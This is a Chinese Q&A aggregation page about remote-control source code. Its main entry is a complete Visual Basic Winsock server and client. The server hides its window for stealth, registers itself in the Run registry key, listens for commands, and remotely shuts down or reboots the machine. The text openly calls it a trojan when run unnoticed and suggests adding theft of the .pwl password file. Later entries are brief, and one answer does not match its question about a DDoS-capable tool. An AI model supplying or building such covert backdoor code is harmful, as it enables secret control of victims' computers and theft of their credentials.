㈠ VB遠程式控制制源碼
你要求很高啊
遠程式控制制是要被控方的電腦上運行有你的程序,並沒有多麼神奇,你學下vb網路通信-winsock就可以自己編遠程式控制制的了。
比如說伺服器上有這樣的功能:如果接收到一個數據比如說"123"時就開始接收一個程序的數據包,接受完後自己解壓後運行,至於發過去的程序自然是你想怎樣就怎樣。這樣的程序如果在用戶面前明明白白地運行那就叫遠程式控制制,如果不讓用戶發現那就叫木馬。
winsock用法(轉載……)
VB winsock控制項詳解2009-09-29 14:41*屬性
-------------------------------------------------------------------------
LocalHostName | 本地機器名
LocalIP | 本地機器IP地址
LocalPort | 本地機器通信程序的埠(0<埠<65536)
RemoteHost | 遠程機器名
RemotePort | 遠程機器的通信程序埠
state | 連接的當前狀態(文後有詳細說明)
Protocal | 使用TCP或UDP協議(這里我們選『0-sckTCPProtocal』)
--------------------------------------------------------------------------
*方法
--------------------------------------------------------------------------
Listen
Listen方法用於伺服器程序,等待客戶訪問。
格式:Winsock對象.listen
Connect
Connect方法用於向遠程主機發出連接請求
格式:Winsock對象.connect [遠程主機IP,遠程埠]
Accept
Accept方法用於接受一個連接請求
格式:Winsock對象.accept Request ID
Senddata
此方法用於發送數據
格? Winsock對象.senddata 數據
Getdata
用來取得接收到的數據
格式:Winsock對象.getdata 變數 [,數據類型 [,最大長度]]
Close
關閉當前連接
格式:Winsock對象.close
*事件
----------------------------------------------------------------------------
Close | 遠程機器關閉連接時觸發
Connect | 連接建立好,可以進行通信時觸發(客戶端)
ConnectRequest | 有請求連接到達時產生(伺服器端)
DataArrival | 有數據到達時觸發
Error | 發生錯誤時發生
SendProgress | 數據傳送進度
-----------------------------------------------------------------------------
程序代碼如下:
--》伺服器端程序(server.exe)
先在窗體中放置Winsock控制項(他在運行時是看不見的),屬性採用默認值,再設置Form1的
屬性ShowInTaskBar為False,Visible為False(這樣才有隱蔽性嘛).對於程序的自啟動可
手工在注冊表「HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run」
中增加鍵值"winserver"="c:\\windows\\server.exe"或配置文件Win.ini的Load,run寫入
"C:\windows\server.exe"來達到目的。當然也可通過在VB5中調用API函數來實現對注冊表
的寫入,這就更方便了,不過由於實現過程較復雜,就不在這里說了.
Private Sub Form_Load()
On Error GoTo skip 如此埠已有通信程序則退出
Winsock1.LocalPort = 1334 埠值應大於1024,如還有沖突可改為其他值
Winsock1.Listen
Exit Sub
skip:
If Err.Number = 10048 Then
MsgBox "埠沖突,退出!", vbOKOnly, "注意!"
End
End If
End Sub
Private Sub Winsock1_Close()
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Listen 關閉連接後繼續監聽
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID 請求到達時,接受連接
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim strget As String
Dim ccom As String
Winsock1.GetData strget 讀取到達的數據
Select Case strget
Case "a" 判斷到達的數據是否『a』,是則重啟,你也可自己定義(協議就是這樣產生的)
ccom = curr_win() + "\RUNDLL.EXE user.exe,exitwindowsexec" 不同機器設置不一樣
Call Shell(ccom, vbHide) 由函數curr_win()來判斷
Case "b" 如為『b』則關閉計算機
ccom = curr_win() + "\RUNDLL.EXE user.exe,exitwindows"
Call Shell(ccom, vbHide) 函數shell來執行命令
Case Else 可以在此加入其他命令
End Select
End Sub
Function curr_win() As String
Dim i As Integer
Dim enstr As String
i = 1 此函數通過讀取環境變數來獲得Windows目錄
enstr = Environ(i)
Do While enstr <> ""
If Len(enstr) > 11 Then
If Left(enstr, 11) = "winbootdir=" Then
curr_win = Right(enstr, Len(enstr) - 11)
Exit Do
End If
End If
i = i + 1
enstr = Environ(i)
Loop
End Function
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal
Scode As Long, ByVal Source As String, ByVal HelpFile As String,
ByVal HelpContext As Long, CancelDisplay As Boolean)
MsgBox "錯誤", vbOKOnly, "注意!" 如程序出現錯誤,則簡單的退出
End
End Sub
--》客戶端程序(Client.exe)
程序界面如圖[control.jpg]
防入四個命令按鈕,一個標題框,一個Winsock控制項,其屬性設置如下:
------------------------------------------------------------------------- -
控制項名 | 控制項類 | 屬性 | 屬性值
----------------------------------------------------------------------------
closewin_but | commandbutton | caption | 遠程關閉
startwin_but | commandbutton | caption | 遠程重啟
connect_but | commandbutton | caption | 連接
exit_but | commandbutton | caption | 退出
state_lab | label | borderstyle | 1
-----------------------------------------------------------------------------
代碼如下:
Private Sub Form_Load()
Winsock1.LocalPort = 22226 本地埠可任選,只要不沖突且小於65535,用
netstat -an命令可查看當前通信進程
Winsock1.RemoteHost = "127.0.0.1" 調試時此IP將對本機操作,實際應用時可
換上被控方IP
Winsock1.RemotePort = 1334 對應伺服器端的localport
state_lab = "未建立連接."
End Sub
Private Sub closewin_but_Click()
If Winsock1.State <> sckConnected Then
state_lab = "請先建立連接"
Else
Winsock1.SendData "b" 發出關閉命令
End If
End Sub
Private Sub startwin_but_Click()
If Winsock1.State <> sckConnected Then
state_lab = "請先建立連接"
Else
Winsock1.SendData "a" 發出重啟命令
End If
End Sub
Private Sub connect_but_Click()
On Error GoTo skip
If Winsock1.State = sckConnected Then
state_lab = "已建立連接了"
Else
Winsock1.Connect
End If
Exit Sub
skip: 用netstat命令看到狀態為Time_wait則
If Err.Number = 10048 Then 須等待一段時間才可連接,也可換另一
埠,可加快連接速度
MsgBox "埠正在使用,請稍後再試!", vbOKOnly, "注意!"
End
End If
End Sub
Private Sub exit_but_Click()
Winsock1.Close 關閉連接且退出
End
End Sub
Private Sub Winsock1_Connect()
state_lab = "建立連接成功!可發送命令."
End Sub
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String,
ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String,
ByVal HelpContext As Long, CancelDisplay As Boolean)
MsgBox "錯誤", vbOKOnly, "注意!"
End
End Sub
通過上面的例子,我們大概了解了遠程式控制制的原理,對於其他功能的實現應該不難了。如
文件的下載,可先讓客戶程序發一命令字串cc:\windows\lzh.pwl,伺服器接收到命令字
串後判斷出首字母c為下載命令,則將所指定的命令文件c:\windows\lzh.pwl傳送給客戶
端,完成相應的服務。需要注意的是,此程序只能建立一個連接,如要建立多個連接可通過
在伺服器端產生多個Winsock實例來接受請求.
*****測試環境:
Window98,MicroSoft Visual Basic 5.0企業版
附:屬性state值
常數 值 描述
sckClosed 0 關閉狀態
sckOpen 1 打開狀態
sckListening 2 偵聽狀態
sckConnectionPending 3 連接掛起
sckResolvingHost 4 解析域名
sckHostResolved 5 已識別主機
sckConnecting 6 正在連接
sckConnected 7 已連接
sckClosing 8 同級人員正在關閉連接
sckError 9 錯誤
㈡ 易語言 遠程式控制制 源碼 帶很多功能的 有遠程屏幕控制
我有正版的軟體,沒有黑客功能。只要正規功能,需要的話可以追問我,還有,沒有攝像頭功能。
㈢ 求遠程式控制制 源碼 C C++
到如下網址去搜,搜到了速回復我下載地址,我下載給你(不能太多哈^_^)。
http://www.pudn.com/
㈣ 遠程式控制制源碼,監控源碼,木馬源碼等
動態域名解析程序(Delphi源碼) 怎麼用啊
㈤ 急求遠程式控制制軟體源碼,不要有錯誤。。。。
推薦樓主試試向日葵遠程式控制制軟體吧~專業免費,保證不會有什麼病毒和錯誤。
㈥ 學過VB的來。我有個遠程式控制制源碼,能正常使用,帶DDOS攻擊等。
按對方電腦硬體配置,如CPU、硬碟等計算出序列號,再生成注冊碼
這樣基本可以做到每台電腦一個注冊碼
1 你需要自己設計流程(例如還可增加試用期、到期禁止運行等功能)
2 下載硬體配置的Dll,網路吧,很多
3 產生序列號
4 生成注冊碼
5 填入注冊碼,寫合法標志到windows的注冊表
方法如上,自己學習一下吧